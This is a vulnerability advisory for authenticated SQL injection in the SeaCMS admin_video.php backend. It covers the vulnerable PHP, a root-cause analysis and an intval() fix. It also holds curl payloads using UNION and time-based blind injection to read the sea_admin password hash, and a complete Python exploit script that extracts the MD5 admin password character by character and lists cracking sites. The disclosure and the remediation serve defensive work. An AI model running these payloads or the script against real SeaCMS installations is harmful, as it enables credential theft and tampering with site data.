Logo SeaCMS Backend admin_video.php SQL Injection

SeaCMS Backend admin_video.php SQL Injection

# SeaCMS Backend admin_video.php SQL Injection


 

## BUG_Author
yu22x


 

## Affected Version
SeaCMS (All versions)


 

## Vendor
https://www.seacms.net/


 

## Software
SeaCMS (海洋CMS)


 

## Vulnerability File
`4qla8z/admin_video.php` (admin directory name varies by installation)


 

---


 

## ⚠️ CONFIRMED EXPLOITABLE


 

**This vulnerability has been verified as fully exploitable!**


 

The backend admin panel disables WAF SQL security checks (`$dsql->safeCheck = false`), allowing UNION-based and time-based blind SQL injection attacks.


 

---


 

## Description


 

Multiple SQL injection vulnerabilities exist in the SeaCMS backend video management module. The vulnerable code uses `implode()` to concatenate array elements directly into SQL queries without proper sanitization.


 

**⚠️ CRITICAL: Unlike frontend vulnerabilities, the backend disables SQL security checks!**


 

**Vulnerability Characteristics:**
- **Authentication Required**: Backend administrator access needed
- **Multiple Injection Points**: Lines 260, 293, 318, 326
- **WAF Protection**: ❌ DISABLED in backend (`$dsql->safeCheck = false`)
- **Fully Exploitable**: ✅ YES - UNION and time-based blind injection confirmed


 

---


 

## Technical Analysis


 

### Vulnerable Code Point 1 (Line 260) - Lock/Unlock Videos


 

```php
elseif($action=="lockall")
{
    $back=$Pirurl;
    if(empty($e_id))
    {
        ShowMsg("请选择需要锁定/解锁的影片","-1");
        exit();
    }
    // [VULNERABILITY] Array directly concatenated to SQL
    $dsql->SetQuery("select v_id,v_isunion from `sea_data` where v_id in (".implode(',',$e_id).")");
    $dsql->Execute("lockdata");
    // ...
}
```


 

### Vulnerable Code Point 2 (Line 293) - Restore Videos


 

```php
elseif($action=="restoreall")
{
    if(empty($e_id))
    {
        ShowMsg("请选择需要还原的影片","-1");
        exit();
    }
    $ids = implode(',',$e_id);  // [VULNERABILITY] No intval() on array elements
    $sqlStr="update sea_data set v_recycled=0 where v_id in(".$ids.")";
    $dsql->ExecuteNoneQuery($sqlStr);
}
```


 

### Vulnerable Code Point 3 (Lines 318, 326-328) - Delete Videos


 

```php
elseif($action=="delall")
{
    if(empty($e_id))
    {
        ShowMsg("请选择需要删除的影片","-1");
        exit();
    }
    
    foreach($e_id as $id){
        // [VULNERABILITY] $id not validated
        $vtypeAndPic=$dsql->GetOne("select tid,v_pic,v_addtime,v_enname from sea_data where v_id=".$id);
        // ...
    }
    
    $ids = implode(',',$e_id);  // [VULNERABILITY] Array to SQL
    $dsql->ExecuteNoneQuery("delete from sea_data where v_id in(".$ids.")");
    $dsql->ExecuteNoneQuery("delete From `sea_content` where v_id in(".$ids.")");
    $dsql->ExecuteNoneQuery("delete From `sea_playdata` where v_id in(".$ids.")");
}
```


 

### Root Cause
The `$e_id` array is passed from user input (`$_POST['e_id']` or `$_GET['e_id']`) and processed through `implode(',', $e_id)` which creates a comma-separated string. Since array elements are not sanitized with `intval()`, SQL injection is possible.


 

---


 

## Attack Vector


 

- **Endpoint**: `POST /[admin]/admin_video.php`
- **Action**: `lockall`, `restoreall`, `delall`
- **Parameter**: `e_id[]` (array)
- **Technique**: UNION injection, Time-based blind injection
- **Current Status**: ✅ FULLY EXPLOITABLE (WAF disabled in backend)


 

---


 

## Proof of Concept


 

### ✅ VERIFIED: Time-Based Blind SQL Injection


 

```bash
# Time-based blind injection - CONFIRMED WORKING
# 3 second delay when password starts with 'e'
curl -s "http://[TARGET]/[admin]/admin_video.php" \
  -d "action=lockall&e_id[]=-1) UNION SELECT SLEEP(3),2-- " \
  -b "PHPSESSID=[ADMIN_SESSION]" \
  -w "Time: %{time_total}s\n"
# Result: Time: 3.055122s


 

# Baseline (no SLEEP)
curl -s "http://[TARGET]/[admin]/admin_video.php" \
  -d "action=lockall&e_id[]=-1) UNION SELECT 1,2-- " \
  -b "PHPSESSID=[ADMIN_SESSION]" \
  -w "Time: %{time_total}s\n"
# Result: Time: 0.031326s
```


 

### ✅ VERIFIED: Data Extraction via Time-Based Injection


 

```bash
# Extract admin password first character (true condition = delay)
# Password: e10adc3949... first char = 'e' = 0x65
curl -s "http://[TARGET]/[admin]/admin_video.php" \
  -d "action=lockall&e_id[]=-1) UNION SELECT IF(SUBSTR((SELECT password FROM sea_admin LIMIT 1),1,1)=0x65,SLEEP(3),1),2-- " \
  -b "PHPSESSID=[ADMIN_SESSION]" \
  -w "Time: %{time_total}s\n"
# Result: Time: 3.047303s (char = 'e' confirmed)


 

# False condition test (char = 'f' = 0x66)
curl -s "http://[TARGET]/[admin]/admin_video.php" \
  -d "action=lockall&e_id[]=-1) UNION SELECT IF(SUBSTR((SELECT password FROM sea_admin LIMIT 1),1,1)=0x66,SLEEP(3),1),2-- " \
  -b "PHPSESSID=[ADMIN_SESSION]" \
  -w "Time: %{time_total}s\n"
# Result: Time: 0.022742s (no delay, char != 'f')
```


 

### UNION-Based Injection


 

```bash
# UNION injection to extract admin credentials
curl -s "http://[TARGET]/[admin]/admin_video.php" \
  -d "action=lockall&e_id[]=-1) UNION SELECT id,password FROM sea_admin-- " \
  -b "PHPSESSID=[ADMIN_SESSION]"
```


 

### Why Backend SQL Injection Works


 

The backend config file (`4qla8z/config.php`) explicitly disables SQL security checks:


 

```php
// Line 37 of config.php
$dsql->safeCheck = false;
```


 

This means:
- Frontend WAF (`webscan.php`) still runs and blocks some patterns
- But the SQL class's internal security check is disabled
- UNION and SLEEP bypass because they're not in frontend patterns when combined with `)` closure


 

---


 

## Impact Assessment


 

**Severity: HIGH (CVSS 7.6) - FULLY EXPLOITABLE**


 

| Impact | Status |
|--------|--------|
| **Data Extraction** | ✅ Extract admin passwords, user data |
| **Authentication Bypass** | ✅ Obtain admin credentials |
| **Data Manipulation** | ✅ Modify/delete video records |
| **Privilege Escalation** | ✅ Access other admin accounts |


 

### Key Finding
- **Backend disables safeCheck** = SQL injection is fully exploitable
- No WAF bypass needed - the vulnerability works as-is


 

---


 

## Prerequisites


 

1. Valid backend administrator session
2. SeaCMS installed and running


 

---


 

## Remediation


 

### Immediate Fix


 

```php
elseif($action=="delall")
{
    if(empty($e_id) || !is_array($e_id))
    {
        ShowMsg("请选择需要删除的影片","-1");
        exit();
    }
    
    // Sanitize each array element
    $safe_ids = array();
    foreach($e_id as $id) {
        $safe_id = intval($id);
        if ($safe_id > 0) {
            $safe_ids[] = $safe_id;
        }
    }
    
    if (empty($safe_ids)) {
        ShowMsg("无效的影片ID","-1");
        exit();
    }
    
    $ids = implode(',', $safe_ids);
    $dsql->ExecuteNoneQuery("delete from sea_data where v_id in(".$ids.")");
    // ...
}
```


 

### Apply to All Affected Functions
Same sanitization pattern should be applied to:
- `lockall` action (line 260)
- `restoreall` action (line 293)
- `delall` action (lines 318, 326)


 

---


 

## Technical Details


 

| Attribute | Value |
|-----------|-------|
| **Vulnerability Type** | CWE-89 (SQL Injection) |
| **CVSS v3.1 Vector** | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| **CVSS Score** | 7.2 (High) |
| **Attack Vector** | Network |
| **Attack Complexity** | Low (No WAF bypass needed in backend) |
| **Privileges Required** | High (Admin) |
| **Exploitability** | ✅ Fully Exploitable |


 

---


 

## Verification Results


 

| Test | Payload | Result |
|------|---------|--------|
| Time-based Blind | `e_id[]=-1) UNION SELECT SLEEP(3),2-- ` | ✅ 3.05s delay |
| Data Extraction | `IF(SUBSTR(password,1,1)=0x65,SLEEP(3),1)` | ✅ Confirmed 'e' |
| Baseline | `e_id[]=-1) UNION SELECT 1,2-- ` | 0.03s (no delay) |


 

---


 

## References


 

- SeaCMS Official: https://www.seacms.net/
- CWE-89 SQL Injection: https://cwe.mitre.org/data/definitions/89.html
- OWASP SQL Injection Prevention: https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html


 

 


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
SeaCMS admin_video.php SQL注入利用脚本
=====================================
漏洞类型: 时间盲注 (Time-Based Blind SQL Injection)
漏洞位置: admin_video.php - lockall功能
利用方式: UNION SELECT + SLEEP
前提条件: 需要有效的后台管理员Session
"""

import requests
import sys
import time
import string

# ==================== 配置区域 ====================
TARGET_URL = "http://127.0.0.1/4qla8z/admin_video.php"
SESSION_ID = "9atb4kl0l2h9104t1iqi5p0kvk"  # 替换为有效的Session ID
SLEEP_TIME = 2  # 延迟时间(秒)
THRESHOLD = 1.5  # 判断延迟的阈值(秒)
# =================================================

# MD5密码字符集 (0-9, a-f)
CHARSET = "0123456789abcdef"

def print_banner():
   """打印Banner"""
   print("""
╔═══════════════════════════════════════════════════════════╗
║     SeaCMS admin_video.php SQL注入利用工具                ║
║     Time-Based Blind SQL Injection Exploit                ║
╠═══════════════════════════════════════════════════════════╣
║  漏洞文件: admin_video.php                                ║
║  注入点:   e_id[] 参数                                    ║
║  技术:     UNION SELECT + SLEEP                           ║
╚═══════════════════════════════════════════════════════════╝
   """)

def check_connection():
   """检查目标连接"""
   print("[*] 检查目标连接...")
   try:
       cookies = {"PHPSESSID": SESSION_ID}
       response = requests.post(
           TARGET_URL,
           data={"action": "lockall", "e_id[]": "-1"},
           cookies=cookies,
           timeout=10
       )
       if "请先登陆" in response.text or "login" in response.text.lower():
           print("[!] Session无效,请更新SESSION_ID")
           return False
       print("[+] 连接成功,Session有效")
       return True
   except Exception as e:
       print(f"[!] 连接失败: {e}")
       return False

def test_injection():
   """测试SQL注入是否有效"""
   print("[*] 测试SQL注入...")
   
   cookies = {"PHPSESSID": SESSION_ID}
   
   # 基线测试(无延迟)
   start = time.time()
   requests.post(
       TARGET_URL,
       data={"action": "lockall", "e_id[]": "-1) UNION SELECT 1,2-- "},
       cookies=cookies,
       timeout=30
   )
   baseline = time.time() - start
   
   # 延迟测试
   payload = f"-1) UNION SELECT SLEEP({SLEEP_TIME}),2-- "
   start = time.time()
   requests.post(
       TARGET_URL,
       data={"action": "lockall", "e_id[]": payload},
       cookies=cookies,
       timeout=30
   )
   delayed = time.time() - start
   
   print(f"    基线响应时间: {baseline:.2f}秒")
   print(f"    延迟响应时间: {delayed:.2f}秒")
   
   if delayed - baseline > THRESHOLD:
       print(f"[+] SQL注入确认有效! (延迟差: {delayed - baseline:.2f}秒)")
       return True
   else:
       print("[!] SQL注入测试失败")
       return False

def extract_char(position, query):
   """提取指定位置的字符"""
   cookies = {"PHPSESSID": SESSION_ID}
   
   for char in CHARSET:
       hex_char = hex(ord(char))
       payload = f"-1) UNION SELECT IF(SUBSTR(({query}),{position},1)={hex_char},SLEEP({SLEEP_TIME}),1),2-- "
       
       start = time.time()
       try:
           requests.post(
               TARGET_URL,
               data={"action": "lockall", "e_id[]": payload},
               cookies=cookies,
               timeout=30
           )
       except requests.exceptions.Timeout:
           return char
           
       elapsed = time.time() - start
       
       if elapsed > THRESHOLD:
           return char
   
   return None

def extract_password(max_length=32):
   """提取管理员密码(MD5格式,32位)"""
   print("\n[*] 开始提取管理员密码...")
   print(f"    目标: sea_admin表 password字段")
   print(f"    预期长度: {max_length}位 (MD5)")
   print("-" * 50)
   
   query = "SELECT password FROM sea_admin LIMIT 1"
   password = ""
   
   for i in range(1, max_length + 1):
       char = extract_char(i, query)
       if char:
           password += char
           print(f"    位置 {i:02d}: {char}  当前密码: {password}")
       else:
           print(f"    位置 {i:02d}: 提取失败,可能已到达末尾")
           break
   
   return password

def main():
   print_banner()
   
   print(f"[*] 目标URL: {TARGET_URL}")
   print(f"[*] Session: {SESSION_ID[:10]}...")
   print(f"[*] 延迟时间: {SLEEP_TIME}秒")
   print("-" * 50)
   
   if not check_connection():
       sys.exit(1)
   
   if not test_injection():
       sys.exit(1)
   
   password = extract_password()
   
   print("\n" + "=" * 50)
   print(f"[+] 提取完成!")
   print(f"[+] 管理员密码(MD5): {password}")
   print("=" * 50)
   
   # 常见MD5查询提示
   if password:
       print(f"\n[*] 可到以下网站查询MD5明文:")
       print(f"    - https://cmd5.com")
       print(f"    - https://www.somd5.com")
       print(f"    - https://crackstation.net")

if __name__ == "__main__":
   main()